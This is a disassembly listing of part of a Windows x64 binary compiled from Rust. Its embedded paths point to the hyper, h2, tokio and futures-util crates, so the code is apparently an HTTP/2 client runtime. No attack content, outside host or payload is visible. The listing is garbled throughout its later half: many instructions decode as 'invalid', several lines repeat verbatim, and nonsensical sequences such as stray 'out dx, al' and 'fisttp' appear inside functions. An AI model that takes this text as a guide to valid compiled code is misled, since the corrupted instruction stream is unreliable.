call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lea rcx, [rsp + 0x110]
call fcn.1400384d0
mov r15, rax
mov r14, rdx
movups xmm0, xmmword [rsp + 0xb8]
movaps xmmword [rsp + 0xd0], xmm0
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xe0], rax
movzx eax, word [rsp + 0x178]
mov word [rsp + 0xe8], ax
mov r12, qword [rsp + 0xd0]
cmp eax, 0xc8
jne 0x14008d39a
test r12, r12
je 0x14008d39a
lea r12, [rsp + 0xb8]
mov rax, qword [r12 + 0x10]
mov qword [rsp + 0x100], rax
movups xmm0, xmmword [r12]
movaps xmmword [rsp + 0xf0], xmm0
test r15, r15
je 0x14008d52a
test r14, r14
je 0x14008d52a
mov rcx, r12
mov edx, 2
call fcn.14008b8b0
mov byte [rsp + 0x78], 2
mov dword [rsp + 0x7c], 2
lea rcx, [rsp + 0x78]
call fcn.140036850
mov r14, rax
mov rcx, r12
call fcn.140027650
mov rax, qword [rsp + 0xf0]
lock dec qword [rax]
jne 0x14008d32e
lea rcx, [rsp + 0xf0]
call fcn.140004660
idiv edi
idiv edi
mov rax, qword [rsp + 0x100]
lock dec qword [rax]
jne 0x14008d349
mov rcx, qword [rsp + 0x100]
call fcn.140087bf0
lea rcx, [rsp + 0x110]
call fcn.1400524f0
mov rcx, qword [rsp + 0x170]
call fcn.140002cb0
lea r15, [rsp + 0x180]
mov rcx, r15
call fcn.14002e250
mov rcx, r15
call fcn.140027650
mov rax, qword [rsp + 0x180]
lock dec qword [rax]
jne 0x14008d90a
mov rcx, r15
call fcn.140004660
jmp 0x14008d90a
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x3e0], xmm0
movups xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x3d0], xmm0
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x3c0], xmm0
movups xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x130], dl
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x130], dl
movups xmm3, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0x3b0], xmm3
movaps xmmword [rsp + 0x3a0], xmm2
movaps xmmword [rsp + 0x390], xmm1
movaps xmmword [rsp + 0x380], xmm0
movups xmm0, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x190], xmm0
mov rdi, qword [rsp + 0xb0]
mov qword [rsp + 0x78], rdi
lea rcx, [rsp + 0x190]
call fcn.14002e070
test al, al
je 0x14008d44f
test rdi, rdi
je 0x14008d44d
lock dec qword [rdi]
jne 0x14008d44d
lea rcx, [rsp + 0x78]
call fcn.140005210
xor edi, edi
test r15, r15
je 0x14008d45a
cmp r14, 0xfffffffffffffffe
jb 0x14008d472
lea rcx, [rsp + 0x190]
call fcn.14002e070
movzx eax, al
lea r14, [rax*2 - 2]
mov r15d, 2
test r12, r12
je 0x14008d4c0
lea rcx, [rsp + 0xd0]
call fcn.140027650
mov rax, qword [rsp + 0xd0]
lock dec qword [rax]
jne 0x14008d4a5
lea rcx, [rsp + 0xd0]
call fcn.140004660
mov rax, qword [rsp + 0xe0]
lock dec qword [rax]
jne 0x14008d4c0
mov rcx, qword [rsp + 0xe0]
call fcn.140087bf0
xor eax, eax
jmp 0x14008d76d
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x130], rax
movups xmm0, xmmword [rsp + 0x78]
movups xmm1, xmmword [rsp + 0x88]
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
lea rcx, [rsp + 0x110]
call fcn.140036850
mov r14, rax
test r12, r12
je 0x14008d93a
lock dec qword [r12]
jne 0x14008d93a
lea rcx, [rsp + 0xb0]
call fcn.140005210
jmp 0x14008d93a
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x210], xmm0
movups xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x200], xmm0
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x1f0], xmm0
movups xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
movups xmm2, xmmword [rsp + 0x130]
movups xmm3, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0x1e0], xmm3
movaps xmmword [rsp + 0x1d0], xmm2
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1b0], xmm0
movups xmm0, xmmword [rsp + 0x180]
movups xmmword [rsp + 0x368], xmm0
xorps xmm6, xmm6
movaps xmmword [rsp + 0x220], xmm6
mov qword [rsp + 0x248], 0
movzx eax, byte [0x14017d2b0]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14008de69
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x30], xmm6
lock inc qword [rax]
jle 0x14008de78
mov rdi, qword [rsp + 0xb0]
movups xmm0, xmmword [r12]
movaps xmmword [rsp + 0x350], xmm0
mov rax, qword [r12 + 0x10]
mov qword [rsp + 0x360], rax
movzx eax, byte [0x14017d2b0]
mov edx, 0x50
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14008de7a
mov rcx, qword [rsp + 0x370]
mov qword [rax + 0x20], rcx
movaps xmm0, xmmword [rsp + 0x350]
movaps xmm1, xmmword [rsp + 0x360]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rcx, [0x14013a998]
mov qword [rax + 0x28], rcx
lea rdx, [0x14016f768]
mov qword [rax + 0x30], rdx
xorps xmm0, xmm0
movups xmmword [rax + 0x38], xmm0
mov qword [rax + 0x48], rdi
mov qword [rsp + 0x48], rax
lea rax, [0x14013cbd0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rdx
movups xmmword [rsp + 0x68], xmm0
lea rdx, [rsp + 0x48]
mov rcx, r14
call fcn.140037e90
lea rcx, [rsp + 0x210]
mov edx, 1
mov r8, r14
call fcn.14008de90
test rax, 0xfffffffffffffffd
jne 0x14008db00
movaps xmm0, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0x3e0], xmm0
movaps xmm0, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0x3d0], xmm0
movaps xmm0, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0x3c0], xmm0
movaps xmm0, xmmword [rsp + 0x1b0]
movaps xmm1, xmmword [rsp + 0x1c0]
movaps xmm2, xmmword [rsp + 0x1d0]
movaps xmm3, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x3b0], xmm3
movaps xmmword [rsp + 0x3a0], xmm2
movaps xmmword [rsp + 0x390], xmm1
movaps xmmword [rsp + 0x380], xmm0
mov r15, qword [rsp + 0x220]
mov rdi, qword [rsp + 0x228]
mov r14, qword [rsp + 0x230]
movups xmm0, xmmword [rsp + 0x238]
movaps xmmword [rsp + 0x190], xmm0
mov rax, qword [rsp + 0x248]
movaps xmm0, xmmword [rsp + 0x380]
movaps xmm1, xmmword [rsp + 0x390]
movaps xmm2, xmmword [rsp + 0x3a0]
movaps xmm3, xmmword [rsp + 0x3b0]
movaps xmmword [rsp + 0x2c0], xmm0
movaps xmmword [rsp + 0x2d0], xmm1
movaps xmmword [rsp + 0x2e0], xmm2
movaps xmmword [rsp + 0x2f0], xmm3
movaps xmm0, xmmword [rsp + 0x3c0]
movaps xmmword [rsp + 0x300], xmm0
movaps xmm0, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0x310], xmm0
movaps xmm0, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0x320], xmm0
mov rcx, qword [r13]
mov qword [r13], 2
cmp rcx, 2
je 0x14008de51
mov qword [rsp + 0x110], rcx
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rsp + 0x118], xmm0
movaps xmm0, xmmword [rsp + 0x320]
movups xmmword [rsp + 0x220], xmm0
movaps xmm0, xmmword [rsp + 0x310]
movups xmmword [rsp + 0x210], xmm0
movaps xmm0, xmmword [rsp + 0x300]
movups xmmword [rsp + 0x200], xmm0
movaps xmm0, xmmword [rsp + 0x2c0]
movaps xmm1, xmmword [rsp + 0x2d0]
movaps xmm2, xmmword [rsp + 0x2e0]
movaps xmm3, xmmword [rsp + 0x2f0]
movups xmmword [rsp + 0x1f0], xmm3
movups xmmword [rsp + 0x1e0], xmm2
movups xmmword [rsp + 0x1d0], xmm1
movups xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x230], r15
mov qword [rsp + 0x238], rdi
mov qword [rsp + 0x240], r14
movaps xmm0, xmmword [rsp + 0x190]
movups xmmword [rsp + 0x248], xmm0
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x1b8], 4
jmp 0x14008daae
mov eax, r15d
and eax, 3
cmp eax, 1
jne 0x14008d90f
lea r12, [r15 - 1]
mov rbp, qword [r15 - 1]
mov rdi, qword [r15 + 7]
mov rcx, rbp
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14008d8f8
cmp qword [rdi + 0x10], 0x11
jb 0x14008d8e6
mov rbp, qword [rbp - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0xb0]
test rax, rax
je 0x14008d934
lock dec qword [rax]
jne 0x14008d934
lea rcx, [rsp + 0xb0]
call fcn.140005210
mov rcx, qword [rsp + 0x38]
cmp rcx, 3
jne 0x14008d980
mov rdi, qword [rsp + 0xb8]
test rdi, rdi
je 0x14008d980
lea r15, [rsp + 0xb8]
mov rcx, r15
call fcn.140027650
lock dec qword [rdi]
jne 0x14008d965
mov rcx, r15
call fcn.140004660
mov rax, qword [rsp + 0xc8]
lock dec qword [rax]
jne 0x14008d980
mov rcx, qword [rsp + 0xc8]
call fcn.140087bf0
movaps xmm0, xmmword [rsp + 0x380]
movaps xmm1, xmmword [rsp + 0x390]
movaps xmm2, xmmword [rsp + 0x3a0]
movaps xmm3, xmmword [rsp + 0x3b0]
movaps xmmword [rsp + 0x2c0], xmm0
movaps xmmword [rsp + 0x2d0], xmm1
movaps xmmword [rsp + 0x2e0], xmm2
movaps xmmword [rsp + 0x2f0], xmm3
movaps xmm0, xmmword [rsp + 0x3c0]
movaps xmmword [rsp + 0x300], xmm0
movaps xmm0, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0x310], xmm0
movaps xmm0, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0x320], xmm0
mov rax, qword [r13]
mov qword [r13], 2
cmp rax, 2
je 0x14008dd98
mov qword [rsp + 0x110], rax
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rsp + 0x118], xmm0
mov qword [rsp + 0x1b0], r14
mov qword [rsp + 0x1b8], 3
movaps xmm0, xmmword [rsp + 0x2c0]
movaps xmm1, xmmword [rsp + 0x2d0]
movaps xmm2, xmmword [rsp + 0x2e0]
movaps xmm3, xmmword [rsp + 0x2f0]
movups xmmword [rsp + 0x1c0], xmm0
movups xmmword [rsp + 0x1d0], xmm1
movups xmmword [rsp + 0x1e0], xmm2
movups xmmword [rsp + 0x1f0], xmm3
movaps xmm0, xmmword [rsp + 0x300]
movups xmmword [rsp + 0x200], xmm0
movaps xmm0, xmmword [rsp + 0x310]
movups xmmword [rsp + 0x210], xmm0
movaps xmm0, xmmword [rsp + 0x320]
movups xmmword [rsp + 0x220], xmm0
movaps xmm0, xmmword [rsp + 0x190]
movups xmmword [rsp + 0x248], xmm0
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x1b0]
call fcn.1400678a0
mov rcx, rbx
call fcn.14008c7f0
cmp dword [r13], 2
je 0x14008dada
mov rcx, r13
call fcn.1400662a0
mov cl, 1
xor eax, eax
mov byte [rsi + 0xa0], cl
movaps xmm6, xmmword [rsp + 0x4a0]
add rsp, 0x4b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rdx, rdx
je 0x14008d6cd
mov rax, qword [rdx + 0x30]
nop dword [rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
jne 0x14008db10
and eax, 0xa
cmp eax, 8
jne 0x14008db38
mov rax, qword [rdx + 0x10]
mov rcx, qword [rdx + 0x18]
mov rdi, rdx
call qword [rax + 0x10]
mov rdx, rdi
lock dec qword [rdx]
jne 0x14008d6cd
mov rcx, rdx
call fcn.140037db0
jmp 0x14008d6cd
mov rcx, r14
call fcn.14010c7c0
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x14008d204
call fcn.14010c880
mov ebp, eax
xor bpl, 1
movzx eax, byte [rdi + 0x11]
test al, al
je 0x14008d212
mov qword [rsp + 0x78], r14
mov byte [rsp + 0x80], bpl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140127708]
lea r8, [rsp + 0x78]
mov edx, 0x2b
call fcn.1401049b0
call fcn.14010c880
test al, al
jne 0x14008d23f
mov byte [rdi + 0x11], 1
jmp 0x14008d23f
mov byte [rsi + 0x98], 2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x28
call fcn.1401046f0
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x78], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x80], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x48]
call fcn.140104620
mov qword [rcx + 8], r8
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
mov edx, 0xb
call fcn.140104a60
lea rcx, str.polled_after_complete
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rsenvelope_not_dropped
mov edx, 0x15
call fcn.140104a60
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x78], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x80], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x48]
call fcn.140104620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rsenvelope_not_dropped
call fcn.140104a40
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
mov edx, 0x25
call fcn.1401046f0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
call fcn.140104a40
lea rcx, str.poll_response_called_after_response_returned
lea r8, [0x140125310]
mov edx, 0x2c
call fcn.140104d10
lea rcx, str.polled_after_complete
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rsenvelope_not_dropped
mov edx, 0x15
call fcn.140104a60
mov ecx, 8
mov edx, 0x70
call fcn.140104380
ud2
mov ecx, 8
mov edx, 0x50
call fcn.140104380
int3
or eax, 0xadd2b
mov qword [rsp + 0x20], rcx
movabs r15, 0xca721e90bffe2d33
movabs r14, 0x570ea752f6533b56
mov rcx, rbx
mov rdx, r15
mov r8, r14
mov r9, rax
call fcn.14004ec60
mov esi, 2
test rax, rax
je 0x14008df9b
mov rdi, rax
mov rbx, rdx
mov rcx, rax
call qword [rdx + 0x18]
cmp rax, r15
jne 0x14008df72
cmp rdx, r14
jne 0x14008df72
mov rsi, qword [rdi]
mov rbx, qword [rdi + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14008df9b
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14008df9b
cmp qword [rbx + 0x10], 0x11
jb 0x14008df89
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rsi
mov rdx, rbx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
movzx eax, byte [rcx + 0x11c]
movzx edi, byte [rcx + 0x11d]
mov ecx, edi
test al, al
je 0x14008e082
test dil, dil
je 0x14008e199
lea ecx, [rdi - 1]
mov edx, dword [0x14017d2b4]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov edx, dword [rax + rdx*8]
mov edx, dword [rax + rdx*8]
mov byte [rdx + 0x11d], cl
test al, al
sete bpl
test rbx, rbx
test ebx, ebx
test ebx, ebx
jne 0x14008e17d
jmp 0x14008e3a0
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rdi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
movzx eax, byte [rcx + 0x11c]
movzx edi, byte [rcx + 0x11d]
mov ecx, edi
test al, al
je 0x14008e142
test dil, dil
je 0x14008e199
lea ecx, [rdi - 1]
mov edx, dword [0x14017d2b4]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov byte [rdx + 0x11d], cl
test al, al
sete bpl
test rbx, rbx
jne 0x14008e245
jmp 0x14008e3a0
mov rax, qword [rbx + 0xd0]
test al, 4
jne 0x14008e379
test al, 8
jne 0x14008e1ab
test al, 8
je 0x14008e1fb
jmp 0x14008e259
mov rax, qword [r14]
mov rcx, qword [r14 + 8]
call qword [rax + 0x10]
mov sil, 1
jmp 0x14008e37b
mov rcx, qword [rsi]
mov rdx, qword [rcx + 8]
cmp rdx, qword [rbx + 0xb8]
jne 0x14008e1c7
mov rcx, qword [rcx]
cmp rcx, qword [rbx + 0xb0]
je 0x14008e190
mov rax, qword [rbx + 0xd0]
nop
mov rcx, rax
and rcx, 0xfffffffffffffff7
lock cmpxchg qword [rbx + 0xd0], rcx
jne 0x14008e1d0
test al, 4
jne 0x14008e368
mov rax, qword [rbx + 0xb0]
mov rcx, qword [rbx + 0xb8]
call qword [rax + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [rbx + 0xb0], rax
mov qword [rbx + 0xb8], rdx
mov rax, qword [rbx + 0xd0]
nop dword [rax]
mov rcx, rax
or rcx, 8
lock cmpxchg qword [rbx + 0xd0], rcx
jne 0x14008e220
jmp 0x14008e2df
mov rax, qword [rbx + 0x30]
test al, 4
jne 0x14008e379
test al, 8
jne 0x14008e26a
test al, 8
je 0x14008e2b2
mov sil, 1
test bpl, bpl
je 0x14008e2f2
jmp 0x14008e37b
mov rcx, qword [rsi]
mov rdx, qword [rcx + 8]
cmp rdx, qword [rbx + 0x18]
jne 0x14008e280
mov rcx, qword [rcx]
cmp rcx, qword [rbx + 0x10]
je 0x14008e255
mov rax, qword [rbx + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
and rcx, 0xfffffffffffffff7
lock cmpxchg qword [rbx + 0x30], rcx
jne 0x14008e290
test al, 4
jne 0x14008e373
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
call qword [rax + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], rdx
mov rax, qword [rbx + 0x30]
nop word [rax + rax]
mov rcx, rax
or rcx, 8
lock cmpxchg qword [rbx + 0x30], rcx
jne 0x14008e2d0
and eax, 4
sete sil
shr eax, 2
or al, bpl
jne 0x14008e37b
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
mov sil, 1
cmp eax, 1
je 0x14008e345
test eax, eax
jne 0x14008e37b
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], 1
mov byte [rax + 0x11d], dil
jmp 0x14008e37b
lock or qword [rbx + 0xd0], 8
jmp 0x14008e379
lock or qword [rbx + 0x30], 8
xor esi, esi
mov eax, esi
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140104a40
int3
jne 0x14008e3fb
mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
mov rdi, rcx
mov rcx, rax
call qword [rdx + 0x10]
mov rcx, rdi
lock dec qword [rsi]
jne 0x14008e410
mov rcx, qword [rcx + 8]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140037db0
nop
add rsp, 0x28
pop rdi
pop rsi
ret
sbb byte [rax - 0x77], cl
stc
call fcn.14002e250
mov rcx, rdi
call fcn.140027650
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x14008e4b3
mov rcx, rdi
call fcn.140004660
mov rax, qword [rsi + 0x28]
mov rdx, qword [rsi + 0x30]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x38]
add rsi, 0x40
mov rcx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xf0
test r9, r9
je 0x14008ea05
mov r14, r8
mov rsi, rdx
mov rdi, rcx
mov rbx, r9
mov edx, r9d
call fcn.14008a5d0
lea rcx, [rsp + 0xc8]
mov rdx, rdi
mov r8, rsi
call fcn.14008aa00
cmp byte [rsp + 0xc8], 7
jne 0x14008e9cb
mov eax, 2
jmp 0x14008ea09
movups xmm0, xmmword [rsp + 0xc8]
movups xmm1, xmmword [rsp + 0xd8]
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x40], rax
movaps xmmword [rsp + 0x30], xmm1
movzx eax, byte [rsp + 0x20]
cmp eax, 5
je 0x14008ea18
xor edx, edx
xor eax, eax
add rsp, 0xf0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov eax, dword [rsp + 0x7c]
cmp cl, 5
jne 0x14008ef8a
invalid
and eax, 0x840fc085
stosd dword [rdi], eax
add byte [rax], al
add byte [rbx + 0x97405f8], al
je 0x14008ef7b
test eax, eax
je 0x14008f018
cmp eax, 5
je 0x14008ef7b
cmp eax, 8
jne 0x14008f01c
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x46], cl
add eax, dword [rax]
add byte [rax], al
or eax, dword [rax]
add byte [rax], al
invalid
movabs rdx, 0xb00000003
add cl, ch
test al, 0
add byte [rax], al
invalid
jmp 0x14008f032
add byte [rdi], cl
mov dh, 0x54
push rsp
movzx edx, byte [rsp + 0x7b]
push rsp
and al, 0x7b
mov byte [rsp + 0x53], dl
movzx edx, word [rsp + 0x79]
mov word [rsp + 0x51], dx
movups xmm0, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x58], xmm0
and al, 0x58
and al, 0x58
movups xmm0, xmmword [rsp + 0x90]
movups xmmword [rsp + 0x68], xmm0
add byte [rdi], cl
adc dword [rsp + 0x68], eax
mov byte [rsp + 0x50], cl
mov dword [rsp + 0x54], eax
cmp cl, 4
jne 0x14008f025
movzx eax, byte [rsp + 0x50]
movzx ecx, word [rsp + 0x51]
movzx edx, byte [rsp + 0x53]
mov dh, 0x54
and al, 0x53
mov dh, 0x54
and al, 0x53
mov r8d, dword [rsp + 0x54]
mov r9, qword [rsp + 0x58]
movups xmm0, xmmword [rsp + 0x60]
mov byte [rsp + 0x20], al
and al, 0x20
and al, 0x20
mov word [rsp + 0x21], cx
mov byte [rsp + 0x23], dl
push rsp
and al, 0x23
push rsp
and al, 0x23
mov dword [rsp + 0x24], r8d
mov qword [rsp + 0x28], r9
mov rax, qword [rsp + 0x70]
and al, 0x70
and al, 0x70
mov qword [rsp + 0x40], rax
movaps xmmword [rsp + 0x30], xmm0
sub dword [rsp + 0x30], eax
sub dword [rsp + 0x30], eax
movzx eax, byte [rsp + 0x20]
cmp al, 4
jne 0x14008f043
mov rdx, qword [rsp + 0x28]
jmp 0x14008f032
xor edx, edx
jmp 0x14008f032
mov byte [rsp + 0x50], 2
mov dword [rsp + 0x54], eax
lea rcx, [rsp + 0x50]
push rax
call fcn.14003a4a0
mov rdx, rax
xor eax, eax
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
cmp al, 1
jne 0x14008f05e
add dword [rbp + 0x17], esi
lea rcx, [rsp + 0x40]
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
call qword [rax + 0x10]
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2mod.rs
call fcn.140104a40
int3
add al, ch
invalid
int3
mov eax, eax
add rax, 0xfffffffffffffff0
shl r9, 4
shl ecx, 4
shl ecx, 4
lea r8, [0x14016f768]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rbp - 0x7b], cl
leave
test r9, r9
test ecx, ecx
je 0x14008f0b2
mov r10d, dword [rax + 0x10]
add rax, 0x10
add r9, 0xfffffffffffffff0
invalid
test r10, r10
je 0x14008f090
invalid
mov r8, qword [rax + 8]
mov r9, r10
jmp 0x14008e980
clc
invalid
invalid
clc
invalid
xor r10d, r10d
mov r9, r10
jmp 0x14008e980
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1400e0010
test rax, rax
invalid
je 0x14008f15d
sal byte [rsi + rcx*2 + 0x48], 0x89
invalid
mov rdi, rax
mov rax, qword [rsi + 0x20]
mov qword [rdi + 0x20], rax
and byte [r15], r9b
adc byte [rsi], al
and byte [r15], r9b
adc byte [rsi], al
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
sbb byte [rax], al
add byte [rax], al
add byte [rcx], dh
leave
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1400e0010
test rax, rax
je 0x14008f16c
mov qword [rax], rdi
lea rcx, [0x140139fc8]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0xb
adc byte [rbx], cl
adc byte [rbx], cl
inc rax
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
mov ecx, 8
add byte [rax], al
mov edx, 0x28
call fcn.140104380
mov qword [rbp - 0x10], rdi
mov ecx, 8
add byte [rax], al
mov edx, 0x18
call fcn.140104380
ud2
invalid
or esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea rdx, [0x140139fc8]
mov rcx, qword [rbp - 0x10]
call fcn.1400dd830
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
int3
invalid
pop rdi
sbb byte [rbp + rcx*4 + 0x3d], cl
push rsi
invalid
add rbx, 0x138
add ebx, 0x138
dec r14
je 0x14008f25f
cmp dword [rbx - 0x18], 2
je case.default.0x14008f22b
out dx, al
out dx, al
movzx eax, byte [rbx - 8]
clc
cmp rax, 6
ja case.default.0x14008f22b
clc
invalid
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
cmp dword [rbx], 1
jne case.default.0x14008f22b
invalid
invalid
cmp qword [rbx + 0x10], 0
je case.default.0x14008f22b
mov r8, qword [rbx + 8]
mov rcx, qword [0x14017d208]
fisttp word [rsi]
add byte [rcx], dh
rol byte [rcx - 1], cl
invalid
jmp case.default.0x14008f22b
fisttp word [rsi]
add byte [rcx], dh
rol byte [rcx - 1], cl
invalid
push rax
adc bl, ch
test eax, 0x187e8348
cmp qword [rsi + 0x18], 0
je 0x14008f278
add byte [rdx + rdx + 0x48], dh
